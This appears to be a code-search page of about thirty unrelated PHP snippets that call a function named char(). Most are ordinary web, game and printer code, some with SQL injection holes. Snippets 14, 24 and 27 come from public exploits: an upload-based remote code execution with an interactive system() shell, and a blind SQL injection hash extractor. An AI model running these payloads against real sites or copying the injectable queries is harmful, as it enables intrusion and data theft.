Пример #1
0
function letterList()
{
    for ($i = 65; $i <= 90; $i++) {
        $ch = char($i);
        echo "<option value=" . $ch . ">" . $ch . "</option>";
    }
}
Пример #2
0
 public function get_next_practice_id()
 {
     $result = -1;
     if ($query = $this->db->query("SELECT MAX(practiceid) AS `prid` FROM `am_practice`;")) {
         if ($query->num_rows() > 0) {
             if ($row = $query->result()) {
                 $result = $row[0]->prid;
             }
         }
         $query->free_result();
     }
     if ($result == "" || $result == -1) {
         $result = "AMPR-A00001";
     } else {
         if (Intval(substr($result, 6)) == 99999) {
             if (ord(substr($result, 5, 1)) == 'z') {
                 $result = -1;
             } else {
                 $val = char(ord(substr($result, 5, 1)) + 1);
                 $result = "AMPR-" . $val . "00001";
             }
         } else {
             $val = Intval(substr($result, 6)) + 1;
             $result = substr($result, 0, 6) . ($val < 10000 ? $val < 1000 ? $val < 100 ? $val < 10 ? "0000" . $val : "000" . $val : "00" . $val : "0" . $val : $val);
         }
     }
     return $result;
 }
Пример #3
0
function frchar($tab)
{
    foreach ($tab as $clef => $valeur) {
        $tab[$clef] = char($valeur);
    }
    return $tab;
}
Пример #4
0
 function actionIndex()
 {
     if (!isset($_SESSION['id'])) {
         header("Location: /");
         die;
     }
     if (!isset($_SESSION['cid'])) {
         header("Location: /cabinet");
         die;
     }
     $main = new Templater();
     $main->import("interface/game.tpl");
     $main->setvar("%URL%", "http://" . $GLOBALS['url']);
     $main->setvar("%STORAGE_TPL_URL%", "/storage/tpl");
     $main->setvar("%YEAR%", date("Y"));
     $main->setvar("%CSS%", "<style>" . templater("css/game.css", array("%ROOT%" => "/storage/tpl")) . "</style>");
     $main->setvar("%GAME_TITLE%", $GLOBALS['name']);
     $main->setvar("%STORAGE_STATIC_URL%", "/storage/static");
     $GLOBALS['current_loc_info'] = Database::GetOne("config", array("mod" => "locations"))[char()->map];
     if (!isset($GLOBALS['current_loc_info']['type']) or $GLOBALS['current_loc_info']['type'] == 'default') {
         $main->setvar("%GUI%", template("interface/GUI.tpl"));
     } else {
         $GLOBALS['current_loc_type_info'] = Database::GetOne("config", array("mod" => "location_types"))[$GLOBALS['current_loc_info']['type']];
         require_once MODS_ROOT . SEPARATOR . $GLOBALS['current_loc_type_info']['module'] . SEPARATOR . "location_type.php";
         $main->setvar("%GUI%", isset($GLOBALS['to_gui']) ? $GLOBALS['to_gui'] : '');
     }
     $main->setvar("%CHATBOX%", template("boxes/chat.tpl"));
     $main->renderEcho();
 }
Пример #5
0
 public function actionHandler()
 {
     $last_id = isset($_POST['last_id']) ? (int) $_POST['last_id'] : 0;
     $result = array();
     if (!empty($_POST['text'])) {
         $sth = Database::Insert("chat", array('user' => char()->name, 'text' => $_POST['text'], 'date' => time()));
     }
     $sth = Database::Get("chat", array('date' => array('$gt' => $last_id)))->sort(array('date' => 1));
     foreach ($sth as $o) {
         $result[] = $o;
     }
     echo json_encode($result);
 }
Пример #6
0
 public static function unescape($html)
 {
     $html = preg_replace_callback('/&([#\\w]+);/', function ($n) {
         $n = strtolower($n);
         if ($n === 'colon') {
             return ':';
         }
         if ($n[0] === '#') {
             return $n[1] === 'x' ? char(hexdec(substr($n, 2))) : char(substr($n, 1));
         }
         return '';
     }, $html);
     return $html;
 }
Пример #7
0
function porlet($porlet, $content)
{
    $skin = path("www/lib/themes/cpanel", TRUE);
    $HTML = '	<div class="box">
					&nbsp; <span class="bold grey">' . $porlet . '</span> <span class="float-right bold small grey">X</span>';
    if (is_array($content)) {
        $HTML .= char("\t", 4) . openUl() . char("\n");
        foreach ($content as $list) {
            $HTML .= char("\t", 5) . $list . char("\n");
        }
        $HTML .= char("\t", 4) . closeUl() . char("\n");
    } else {
        $HTML .= char("\t", 4) . $content . char("\n");
    }
    $HTML .= '</div><br />';
    return $HTML;
}
Пример #8
0
 function __call($func, $args)
 {
     $func = str_replace("action", "", $func);
     if ($func != 'index') {
         $array = Database::GetOne("characters", array("name" => $func));
     } else {
         $array = Database::GetOne("characters", array("_id" => toId($_SESSION['cid'])));
         $func = $array['name'];
     }
     if (!isset($array['name'])) {
         die("<h1>Персонаж " . $func . " не найден</h1>");
     }
     $params = Database::GetOne("config", array("mod" => "params"));
     $main = new Templater();
     $main->import("interface/playerinfo.tpl");
     $main->setvar("%URL%", "http://" . $GLOBALS['url']);
     $main->setvar("%STORAGE_TPL_URL%", "/storage/tpl");
     $main->setvar("%YEAR%", date("Y"));
     $main->setvar("%CSS%", "<style>" . templater("css/game.css", array("%ROOT%" => "/storage/tpl")) . "</style>");
     $main->setvar("%GAME_TITLE%", $GLOBALS['name']);
     $main->setvar("%STORAGE_STATIC_URL%", "/storage/static");
     $main->setvar("%GUI%", template("interface/GUI.tpl"));
     $main->setvar("%CHATBOX%", template("boxes/chat.tpl"));
     $params_all = '';
     foreach ($array as $key => $value) {
         if (MongoReserved($key) or MongoReserved($value) or strstr($key, "p_")) {
             continue;
         }
         $main->setvar("%" . $key . "%", $array[$key]);
     }
     foreach ($params as $key => $value) {
         if (!strstr($key, "p_")) {
             continue;
         }
         $v = char(__toString($array['_id']))->getParam($key);
         $main->setvar("%" . $key . "%", $v);
         $params_all .= '<p><b>' . $value['name'] . '</b>: ' . $v . '</p>';
     }
     $main->setvar("%PARAMS_ALL%", $params_all);
     $main->renderEcho();
 }
Пример #9
0
 function __call($func, $args)
 {
     $func = strtolower(str_replace("action", "", $func));
     if (!file_exists(CACHE_ROOT . SEPARATOR . "installed.cache") and $func != 'install') {
         header("Location: /admin/install");
         die;
     }
     if (char()->admin < 1 and !in_array($func, char()->perms) and file_exists(CACHE_ROOT . SEPARATOR . "installed.cache")) {
         die("403 Forbidden");
     }
     if (!isset($_SESSION['cid']) and file_exists(CACHE_ROOT . SEPARATOR . "installed.cache")) {
         die("403 Forbidden");
     }
     include_once ADMIN_ROOT . SEPARATOR . "header.inc.php";
     if (strstr($func, 'ext_')) {
         include_once MODS_ROOT . SEPARATOR . trim($func, 'ext_') . SEPARATOR . trim($func, 'ext_') . ".admin.php";
     } else {
         include_once ADMIN_ROOT . SEPARATOR . $func . ".php";
     }
     include_once ADMIN_ROOT . SEPARATOR . "footer.inc.php";
 }
Пример #10
0
 private static function unban($args)
 {
     if (char()->admin <= 0) {
         echo "Вы не администратор";
         return;
     }
     if (is_object(CharByName($args))) {
         CharByName($args)->ban = 0;
         CharByName($args)->ban_reason = "Разблокирован";
         echo "Персонаж <b>" . $args . "</b> разблокирован";
     } else {
         echo "Персонаж <b>" . $args . "</b> не существует";
     }
 }
Пример #11
0
 function li($list, $open = null)
 {
     $HTML = null;
     if (isMultiArray($list)) {
         foreach ($list as $li) {
             $class = isset($li["class"]) ? ' class="' . $li["class"] . '"' : null;
             if (isset($li["item"]) and strlen($li["item"]) > 1) {
                 $HTML .= '<li' . $class . '>' . $li["item"] . '</li>';
             }
         }
     } elseif (is_array($list)) {
         for ($i = 0; $i <= count($list) - 1; $i++) {
             $HTML .= char("\t", 2) . '<li>' . $list[$i] . '</li>';
         }
     } elseif ($list and $open) {
         $HTML .= "<li>" . $list;
     } elseif ($open === false) {
         $HTML .= "</li>";
     } else {
         $HTML .= '<li>' . $list . '</li>';
     }
     return $HTML;
 }
Пример #12
0
                        <a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="fa fa-bell"></i> <b class="caret"></b></a>
                        <ul class="dropdown-menu alert-dropdown">
                            <li>
                                <a href="/admin/errors">Показать все ошибки</a>
                            </li>
                        </ul>
                    </li>
                    <li class="dropdown">
                        <a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="fa fa-user"></i> <?php 
echo char()->name;
?>
 <b class="caret"></b></a>
                        <ul class="dropdown-menu">
                            <li>
                                <a href="/player/<?php 
echo char()->name;
?>
"><i class="fa fa-fw fa-user"></i>Мой профиль</a>
                            </li>
                            <li>
                                <a href="/admin/reports"><i class="fa fa-fw fa-envelope"></i> Репорты</a>
                            </li>
                            <li>
                                <a href="/admin/config"><i class="fa fa-fw fa-gear"></i> Настройки</a>
                            </li>
                            <li class="divider"></li>
                            <li>
                                <a href="/cabinet?logout=1"><i class="fa fa-fw fa-power-off"></i>Выход</a>
                            </li>
                        </ul>
                    </li>
Пример #13
0
<?php 
/*
	@last_edit 22.08.2015
	@last_autor Mike
	@comment Пример типа локаций
*/
if (!isset($GLOBALS['current_loc_info']['map'])) {
    $GLOBALS['to_gui'] = '<h3>Возникла ошибка при получении данных локации</h3>';
}
if (isset($_GET['teleport'])) {
    char()->map = $_GET['teleport'];
    die("<script>location.href = '?';</script>");
}
$GLOBALS['to_gui'] = '';
parse_str($GLOBALS['current_loc_info']['map'], $info);
$GLOBALS['to_gui'] = '<img src="' . $info['image'] . '"><h4>Перейти: </h4>';
foreach ($info as $key => $value) {
    if ($key == 'image') {
        continue;
    }
    $GLOBALS['to_gui'] .= '<p><li><a href="?teleport=' . $value . '">' . $key . '</a></li></p>';
}
Пример #14
0
$xpl->addcookie($config[1] . '_' . $name[1], $matches[2][2]);
$xpl->addcookie($config[1] . '_' . $name[2], $matches[2][3]);
$phpc = array(frmdt_url => $url . '?file=User&op=update_pref', 'fichiernom' => array(frmdt_filename => '1.jpg', frmdt_content => $config[4]));
$xpl->addheader('Referer', $url);
$xpl->formdata($phpc);
$xpl->get($url . '?file=User&op=edit_pref');
if (!preg_match('#\\<input name=\\"photo\\" value=\\"(\\S+)\\"#', $xpl->getcontent(), $match)) {
    exit("\nNo file found");
} else {
    print "\n\$shell> ";
}
$sql = array();
$sql[] = "ALTER TABLE {$config['0']}_block CHANGE `type` `type` VARCHAR(60) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;";
/*
$sql[] = "UPDATE $config[0]_config SET avatar_upload=".char('on')." WHERE name=".char('avatar_upload').";";*/
$sql[] = "UPDATE {$config['0']}_block SET type=" . char('/../../../' . $match[1] . "") . " WHERE bid=1;";
$sql[] = "DELETE FROM {$config['0']}_nbconnecte;";
for ($i = 0; $i < count($sql); $i++) {
    $xpl->post($url . '?file=Admin&page=mysql&op=upgrade_db', 'upgrade=' . $sql[$i]);
}
while (!preg_match("#^(quit|exit)\$#", $cmd = trim(fgets(STDIN)))) {
    # 0'); include('./conf.inc.php'); print $global['db_pass']; //
    $xpl->reset('header');
    $xpl->addheader('Shell', "system('{$cmd}');");
    $xpl->get($url);
    $data = explode('123456789', $xpl->getcontent());
    print $data[1] . "\n\$shell> ";
}
function char($data)
{
    $char = 'CHAR(';
Пример #15
0
 /**
  * Implements barcodes 1D
  *
  * @param int    $type        Default CODE128
  * @param int    $height
  * @param int    $lineWidth
  * @param string $txtPosition
  * @param string $txtFont
  * @param string $data
  */
 public function barcode($data = '123456', $type = 'CODE128', $height = 162, $lineWidth = 2, $txtPosition = 'none', $txtFont = '')
 {
     if ($this->printerMode == 'ESCPOS') {
         parent::barcode($data, $type, $height, $lineWidth, $txtPosition, $txtFont);
         return;
     }
     if (!($data = Barcodes\Barcode1DAnalysis::validate($data, $type))) {
         throw new \InvalidArgumentException('Data or barcode type is incorrect.');
     }
     if (!array_key_exists($type, $this->barcode1Dlist)) {
         throw new \InvalidArgumentException('This barcode type is not listed.');
     }
     $n = strlen($data);
     $id = $this->barcode1Dlist[$type];
     $height = self::validateInteger($height, 50, 200, 50);
     $lineWidth = self::validateInteger($lineWidth, 2, 5, 2);
     $n4 = 0;
     if ($txtPosition != 'none') {
         $n4 = 1;
     }
     switch ($type) {
         case 'UPC_A':
             $this->buffer->write(self::GS . 'kA' . self::VT . $data);
             break;
         case 'UPC_E':
             $this->buffer->write(self::GS . 'kB' . self::ACK . $data);
             break;
         case 'EAN13':
             $this->buffer->write(self::GS . 'kC' . self::FF . $data);
             break;
         case 'EAN8':
             $this->buffer->write(self::GS . 'kD' . self::BEL . $data);
             break;
         case 'CODE39':
             $this->buffer->write(self::GS . 'kE' . char($n) . $data);
             break;
         case 'I25':
             $this->buffer->write(self::GS . 'kF' . char($n) . $data);
             break;
         case 'CODABAR':
             $this->buffer->write(self::GS . 'kG' . char($n) . $data);
             break;
         case 'CODE93':
             $this->buffer->write(self::GS . 'kH' . char($n) . $data);
             break;
         case 'CODE128':
             $this->buffer->write(self::GS . 'kI' . char($n) . $data);
             break;
         case 'ISBN':
             $this->buffer->write(self::GS . 'k' . self::NAK . $data . self::NUL);
             break;
         case 'MSI':
             $this->buffer->write(self::GS . 'k' . self::SYN . $data . self::NUL);
             break;
     }
 }
Пример #16
0
function ul($list, $ID = NULL, $class = NULL)
{
    $ID = !is_null($ID) ? ' id="' . $ID . '"' : NULL;
    $class = !is_null($class) ? ' class="' . $class . '"' : NULL;
    $HTML = '<ul' . $ID . $class . '>' . char("\t");
    if (isMultiArray($list)) {
        foreach ($list as $li) {
            $class = isset($li["class"]) ? ' class="' . $li["class"] . '"' : NULL;
            $HTML .= char("\t", 2) . '<li' . $class . '>' . $li["item"] . '</li>' . char("\n");
        }
    } elseif (is_array($list)) {
        for ($i = 0; $i <= count($list) - 1; $i++) {
            $HTML .= char("\t", 2) . '<li>' . $list[$i] . '</li>' . char("\n");
        }
    }
    $HTML .= char("\t") . '</ul>' . char("\n");
    return $HTML;
}
Пример #17
0
// 'à', 'â', 'ä', 'á', 'ã', 'å',
// 'î', 'ï', 'ì', 'í',
// 'ô', 'ö', 'ò', 'ó', 'õ', 'ø',
// 'ù', 'û', 'ü', 'ú',
// 'é', 'è', 'ê', 'ë',
// 'ç', 'ÿ', 'ñ',
// ),
// array(
// 'a', 'a', 'a', 'a', 'a', 'a',
// 'i', 'i', 'i', 'i',
// 'o', 'o', 'o', 'o', 'o', 'o',
// 'u', 'u', 'u', 'u',
// 'e', 'e', 'e', 'e',
// 'c', 'y', 'n',
// ),
// $string
// );
// return $string;
// }
//indentifiant de la BD
$connexion = new PDO('mysql:host=localhost;dbname=applichauffeur;charset=utf8', 'root', '');
//on ouvre les fichiers  dans un tableau
$communes = file('./ville.txt');
//boucle pour lire toutes les case
for ($i = 0; $i < 100; $i++) {
    //on recupére la case de du tableau pour les tests
    echo char($i . "||" . $communes[$i] . "</br> ");
    $com = char($communes[$i]);
    //on envoi les infos de $ligne sur la bdd
    $connexion->exec("INSERT INTO COMMUNE(VILNOM) VALUES (\"{$com}\");");
}
Пример #18
0
 function packLineStyleAray($linestyleCount, $linestyles)
 {
     array_push($this->pushpop, "packLineStyleAray");
     $linestyleCount < 0xff ? $atom = $this->packUI8($linestyleCount) : ($atom .= char(0xff) . $this->packUI16($linestyleCount));
     $atom .= $linestyles;
     array_pop($this->pushpop);
     return $atom;
 }
Пример #19
0
<?php

$msg = 'https://www.sefaz.rs.gov.br/NFCE/NFCE-COM.aspx?chNFe=43141006354976000149650540000086781171025455&nVersao=100&tpAmb=2&dhEmi=323031342d31302d33305431353a33303a32302d30323a3030&vNF=0.10&vICMS=0.00&digVal=682f4d6b6b366134416d6f7434346d335a386947354f354b6e50453d&cIdToken=000001&cHashQRCode=771A7CE8C50D01101BDB325611F582B67FFF36D0';
$msgLen = (int) strlen($msg);
$iTam1 = $msgLen;
$item2 = 0;
if ($msgLen > 255) {
    $iTam1 = (int) $msgLen % 255;
    $iTem2 = (int) $msgLen / 255;
}
$centraliza = chr(27) . chr(97) . chr(1);
$qrcode = chr(29) . chr(107) . char(81) . chr(2) . chr(12) . chr($msgLen) . chr(1) . chr($iTam1) . chr($iTam2) . $msg;
// aqui começa o texto
$cutcommand = chr(27) . chr(119);
// acionamento da Guilhotina.
Пример #20
0
{
    $rast = str_replace("à", "chr224", $data);
    $rast = str_replace("é", "chr233", $rast);
    $rast = str_replace("è", "chr232", $rast);
    $rast = str_replace("ê", "chr234", $rast);
    $rast = str_replace("â", "chr226", $rast);
    $rast = str_replace("ç", "chr231", $rast);
    $rast = str_replace("ô", "chr244", $rast);
    $rast = str_replace("î", "chr238", $rast);
    $rast = str_replace("û", "chr251", $rast);
    return $rast;
}
if ($_GET['objkey'] == "schema") {
    $result = "SELECT pn.nspname as col FROM pg_catalog.pg_namespace pn WHERE nspname NOT LIKE 'pg_%' AND nspname != 'information_schema' ORDER BY nspname";
} else {
    if ($_GET['objkey'] == "contenu") {
        $result = "SELECT libelle_them||'.'||idtheme as col FROM admin_svg.theme order by libelle_them asc";
    } else {
        $test_table = explode("|", $_GET['objkey']);
        if ($test_table[0] == "table") {
            $result = "SELECT c.relname as col FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE (c.relkind = 'r' or (c.relkind = 'v')) AND nspname='" . $test_table[1] . "' ORDER BY c.relname";
        } else {
            $result = "SELECT a.attname as col FROM pg_catalog.pg_attribute a LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND a.attnum=adef.adnum LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid WHERE a.attrelid = (SELECT oid FROM pg_catalog.pg_class WHERE relname='" . $test_table[0] . "' AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE nspname = '" . $test_table[1] . "')) AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum";
        }
    }
}
$col = $DB->tab_result($result);
for ($z = 0; $z < count($col); $z++) {
    $retour .= char($col[$z]['col']) . "#";
}
echo $retour;
Пример #21
0
function apply_ws_query($connect, $sess_id, $q)
{
    if ($sess_id != '0' and $GLOBALS['sess_data'][$sess_id]['online'] < time()) {
        $GLOBALS['sess_data'][$sess_id]['online'] = time() + 120;
    }
    switch ($q[0]) {
        case 'sid':
            return array('type' => 'sid', 'answer' => $sess_id);
            break;
        case "uniqid":
            return array('type' => 'uniqid', 'answer' => uniqid());
        case 'test':
            return array('answer' => '1');
            break;
        case 'teleport':
            $GLOBALS['sess_data'][$sess_id]['x'] = $q[1];
            $GLOBALS['sess_data'][$sess_id]['y'] = $q[2];
            $GLOBALS['sess_data'][$sess_id]['dir'] = $q[3];
            sendAll(array('type' => 'teleport', 'char' => $GLOBALS['sess_data'][$sess_id]['cid'], 'x' => $q[1], 'y' => $q[2], 'dir' => $q[3]));
            return array('type' => 'default', 'answer' => '1');
            break;
        case 'clientjs':
            return array('type' => 'clientjs', 'answer' => rpgjs_getcmd($q[1]));
            break;
        case 'getposition':
            if (!isset($GLOBALS['sess_data'][$sess_id]['x']) or !isset($GLOBALS['sess_data'][$sess_id]['y']) or !isset($GLOBALS['sess_data'][$sess_id]['dir'])) {
                $GLOBALS['sess_data'][$sess_id]['x'] = char($GLOBALS['sess_data'][$sess_id]['cid'])->pos_x;
                $GLOBALS['sess_data'][$sess_id]['y'] = char($GLOBALS['sess_data'][$sess_id]['cid'])->pos_y;
                $GLOBALS['sess_data'][$sess_id]['dir'] = char($GLOBALS['sess_data'][$sess_id]['cid'])->dir;
                $GLOBALS['sess_data'][$sess_id]['loc'] = char($GLOBALS['sess_data'][$sess_id]['cid'])->map;
            }
            return array('type' => 'getposition', 'x' => $GLOBALS['sess_data'][$sess_id]['x'], 'y' => $GLOBALS['sess_data'][$sess_id]['y'], 'loc' => $GLOBALS['sess_data'][$sess_id]['map'], 'dir' => $GLOBALS['sess_data'][$sess_id]['dir']);
            break;
        case 'online':
            $array = array('type' => 'online');
            foreach ($GLOBALS['sess_data'] as $key => $value) {
                if ($value['online'] < time()) {
                    continue;
                }
                $array[$value['_id']]['id'] = $value['_id'];
                $array[$value['_id']]['x'] = $value['x'];
                $array[$value['_id']]['y'] = $value['y'];
                $array[$value['_id']]['dir'] = $value['dir'];
                $array[$value['_id']]['name'] = $value['name'];
                $array[$value['_id']]['online'] = $value['online'];
                $array[$value['_id']]['map'] = $value['map'];
                $array[$value['_id']]['skin'] = $value['skin'];
            }
            return $array;
            break;
        case 'events':
            return array('type' => 'events', 'answer' => implode(" ", array_values(check_player_events($GLOBALS['sess_data'][$sess_id]['cid'], true, true)['js'])));
            break;
        case 'mapchars':
            $array = array('type' => 'mapchars');
            foreach ($GLOBALS['sess_data'] as $key => $value) {
                if ($value['map'] != $q[1] or $GLOBALS['sess_data'][$sess_id]['cid'] == $value['_id']) {
                    continue;
                }
                $array[$value['_id']]['id'] = $value['_id'];
                $array[$value['_id']]['x'] = $value['x'];
                $array[$value['_id']]['y'] = $value['y'];
                $array[$value['_id']]['dir'] = $value['dir'];
                $array[$value['_id']]['name'] = $value['name'];
                $array[$value['_id']]['online'] = $value['online'];
                $array[$value['_id']]['map'] = $value['map'];
                $array[$value['_id']]['skin'] = $value['skin'];
            }
            return $array;
            break;
        case 'exists':
            return array('type' => 'default', 'error' => 'Deprecated method. Use API.');
            break;
        default:
            return array('type' => 'default', 'error' => 'Bad query ID (' . $q[0] . ')');
            break;
    }
}
Пример #22
0
 function packLINESTYLEARRAY($LineStyleCount, $LineStyles)
 {
     array_push($this->FMDebug, "packLINESTYLEARRAY");
     if ($LineStyleCount < 0xff) {
         $atom = $this->packUI8($LineStyleCount);
     } else {
         $atom .= char(0xff) . $this->packUI16($LineStyleCount);
     }
     $atom .= $LineStyles;
     array_pop($this->FMDebug);
     return $atom;
 }
Пример #23
0
// array(
// 'à', 'â', 'ä', 'á', 'ã', 'å',
// 'î', 'ï', 'ì', 'í',
// 'ô', 'ö', 'ò', 'ó', 'õ', 'ø',
// 'ù', 'û', 'ü', 'ú',
// 'é', 'è', 'ê', 'ë',
// 'ç', 'ÿ', 'ñ',
// ),
// array(
// 'a', 'a', 'a', 'a', 'a', 'a',
// 'i', 'i', 'i', 'i',
// 'o', 'o', 'o', 'o', 'o', 'o',
// 'u', 'u', 'u', 'u',
// 'e', 'e', 'e', 'e',
// 'c', 'y', 'n',
// ),
// $string
// );
// return $string;
// }
//indentifiant de la BD
$connexion = new PDO('mysql:host=localhost;dbname=appli_chf;charset=utf8', 'root', '');
//on ouvre les fichiers  dans un tableau
$communes = file('./ville.txt');
//boucle pour lire toutes les case
for ($i = 0; $i < 100; $i++) {
    //on recupére la case de du tableau pour les tests
    echo char($i . "||" . $communes[$i] . "</br> ");
    //on envoi les infos de $ligne sur la bdd
    $connexion->exec("INSERT INTO COMMUNE(VILID, VILNOM) VALUES ({$i}, \"{$communes[$i]}\");");
}
Пример #24
0
{
    echo "[?] mic blog v0.0.3 Multiple Remote Exploit\r\n\r\n";
    echo "[?] (Remote\\Blind) SQL Injection\r\n";
    echo "[?] Usage: php [exploit.php] [host:port] [path blog] [table prefix_user] [user id] [normal or blind]\r\n";
    echo "[?] Example: php mic.php localhost:80 cms mic_user 1 normal\r\n";
    echo "[?] Example: php mic.php localhost:80 cms mic_user 1 blind\r\n\r\n";
    echo "[?] Remote Privilege Escalation\r\n";
    echo "[?] Usage: php mic.php localhost:80 cms [username] [password] [privilege]\r\n";
    echo "[?] Example: php mic.php localhost:80 cms anarchy mypasswordz privilege\r\n";
    die;
}
$id = 0;
$hash = array(0, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102);
for ($i = 0; $i <= 32; $i++) {
    for ($j = 0; $j <= 17; $j++) {
        if (!eregi('modules.php', http_request($argv[1], $argv[2], char($hash[$j], $id, $argv[3], $argv[4])))) {
            $password .= chr($hash[$j]);
            $id++;
        }
    }
}
if (isset($password)) {
    echo "[?] Hash: {$password}\r\n[?] ID: {$argv['4']}\r\n";
    die;
} else {
    echo "[?] Exploit Failed!\r\n";
    die;
}
?>

# milw0rm.com [2008-10-16]
Пример #25
0
 public static function makereport($array)
 {
     if (!isset($_POST['text'])) {
         $answer = json_encode(array('error' => 'Cant read text'));
     }
     if (!isset($_SESSION['cid'])) {
         $answer = json_encode(array('error' => 'Not logged in'));
     }
     $text = trim($_POST['text']);
     $text = htmlspecialchars($_POST['text']);
     $text = strip_tags($_POST['text']);
     Database::Insert("reports", array("author" => char()->name, "message" => $text, "date" => raptor_date()));
     $answer = json_encode(array('message' => 'Report sent'));
     return $answer;
 }
Пример #26
0
 public function get_next_id($practice, $practiceprefix)
 {
     $result = -1;
     if ($query = $this->db->query("SELECT MAX(deviceid) AS `did` FROM `" . $practice . "_device`;")) {
         if ($query->num_rows() > 0) {
             if ($row = $query->result()) {
                 $result = $row[0]->did;
             }
         }
         $query->free_result();
     }
     if ($result == "" || $result == -1) {
         if ($practice == "am") {
             $result = "AMD-A001";
         } else {
             $result = $practiceprefix . "D-A001";
         }
     } else {
         if (Intval(substr($result, 5)) == 999) {
             if (ord(substr($result, 4, 1)) == 'Z') {
                 $result = -1;
             } else {
                 $val = char(ord(substr($result, 4, 1)) + 1);
                 $result = substr($result, 0, 4) . $val . "001";
             }
         } else {
             $val = Intval(substr($result, 5)) + 1;
             $result = substr($result, 0, 5) . ($val < 100 ? $val < 10 ? "00" . $val : "0" . $val : $val);
         }
     }
     return $result;
 }
Пример #27
0
function finalattack($admin_sid, $admin_uid)
{
    global $url, $xpl, $mode, $prefix, $file_upload_code;
    print "\n[*] Admin status confirmed.\n";
    # Admin Cookies
    $xpl->reset("cookie");
    $xpl->addcookie("{$prefix}sess_id", $admin_sid);
    $xpl->addcookie("{$prefix}user_id", $admin_uid);
    $xpl->addcookie("{$prefix}admin_session", $admin_uid);
    print "[*] Uploading fake image ... ";
    /* Code in the fake avatar */
    if ($mode == 0) {
        $c0de = '<?php' . "\n" . "error_reporting(0);" . "if(isset(\$_SERVER['HTTP_UPLOAD'])) { \$f=fopen('w00t.php','w');fputs(\$f,'" . preg_replace("#'#i", "\\'", $file_upload_code) . "');print 'upfiledone'; }\n" . 'include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\'; ?>';
    } else {
        $c0de = '<?php' . "\n" . 'error_reporting(0);' . 'if(isset($_SERVER[HTTP_SHELL]))' . '{print 123456789;eval($_SERVER[HTTP_SHELL]);exit(123456789);}' . 'else {include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>';
    }
    /* This is based on DarkFig's code (http://mgsdl.free.fr/?1:30) */
    /* It was a little changed to permit 2 modes: upload/code exec  */
    $phpc = array(frmdt_url => $url . '?file=User&op=update_pref', 'fichiernom' => array(frmdt_filename => '1.jpg', frmdt_content => $c0de));
    $xpl->addheader('Referer', $url);
    $xpl->formdata($phpc);
    $f = fopen("zzz.jpg", "w");
    fputs($f, $c0de);
    fclose($f);
    $xpl->get($url . '?file=User&op=edit_pref');
    if (!preg_match('#\\<input name=\\"photo\\" value=\\"(\\S+)\\"#', $xpl->getcontent(), $match)) {
        exit("error.\n");
    }
    print "done.\n";
    print "[*] Processing SQL queries ... ";
    $sql = array();
    $sql[] = "ALTER TABLE nuked_block CHANGE `type` `type` VARCHAR(60) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;";
    $sql[] = "UPDATE nuked_block SET type=" . char('/../../../' . $match[1] . "") . " WHERE bid=1;";
    $sql[] = "DELETE FROM nuked_stats_visitor WHERE referer LIKE 0x25673030676c6525;";
    /* added by real to delete our SQL Injection from SQL DB */
    $sql[] = "DELETE FROM nuked_nbconnecte;";
    for ($i = 0; $i < count($sql); $i++) {
        $xpl->post($url . '?file=Admin&page=mysql&op=upgrade_db', 'upgrade=' . $sql[$i]);
    }
    print "done.\n";
    /* Final step: File Upload or Code Execution */
    if ($mode == 0) {
        $xpl->addheader("Upload", "1");
        $c = $xpl->get($url);
        if (preg_match("#upfiledone#i", $c)) {
            print "[*] File uploaded.\n\n";
        } else {
            exit("[*] File upload error.\n");
        }
        print "[*] " . $url . "w00t.php\n";
    } else {
        print "\n\$shell> ";
        while (!preg_match("#^(quit|exit)\$#", $cmd = trim(fgets(STDIN)))) {
            $xpl->reset('header');
            $xpl->addheader('Shell', "system('{$cmd}');");
            $xpl->get($url);
            $data = explode('123456789', $xpl->getcontent());
            print $data[1] . "\n\$shell> ";
        }
    }
    /* End of DarkFig based code */
    exit;
}
Пример #28
0
		<a href="price4.php">
        <input class="button_7"type="button"value="乳製品">
        </a>
		<a href="price5.php">
        <input class="button_8"type="button"value="炭水化物">
        </a>
		
		<!--ヘッダとサイドおわり-->
 		<!--ページごとに週を送る→-日付を得る→日付ごとのメニューを表示→-それぞれのボタンにメニューIDを→遷移先にメニューID送る→IDをもとに材料表示-->
		
        <div class=title>
			<?php 
session_start();
$list[0] = $_POST['1'];
$price = SerchPrice(2.0, $_SESSION["USERID"], $list);
printf("%s の価格はおよそ\\ %0.1d です", FoodID2Name($_POST['1']), $price[0]);
?>
		</div>
		<div class="chart">
		<?php 
session_start();
$data = char(SerchTimeChart(2.0, $_SESSION["USERID"], $_POST['1']));
printf("<img src=\"http://chart.apis.google.com/chart?chg=0,10,5,5&chf=bg,s,e2e2e2&chs=500x300&chd=t:%s|%s&chxt=x,y&chxr=0,0,%fE2|1,0,%fE1&cht=lxy\">", $data[0], $data[1], (double) $data[2] / 100, (double) $data[3] / 10);
?>
	
		</div>

	</body>
</html>

function lname_gen()
{
    $last = array();
    $long = rand(5, 7);
    for ($i = 0; $i < $long; $i++) {
        //returns random letter
        $char = char();
        array_push($last, $char);
    }
    //end for loop
    //converts array into string + lowercase
    $name = implode($last);
    $lname = strtolower($name);
    return $lname;
}
Пример #30
-1
function CharByName($name)
{
    $id = Database::GetOne("characters", array("name" => $name));
    if (is_array($id)) {
        return char(__toString($id['_id']));
    } else {
        return false;
    }
}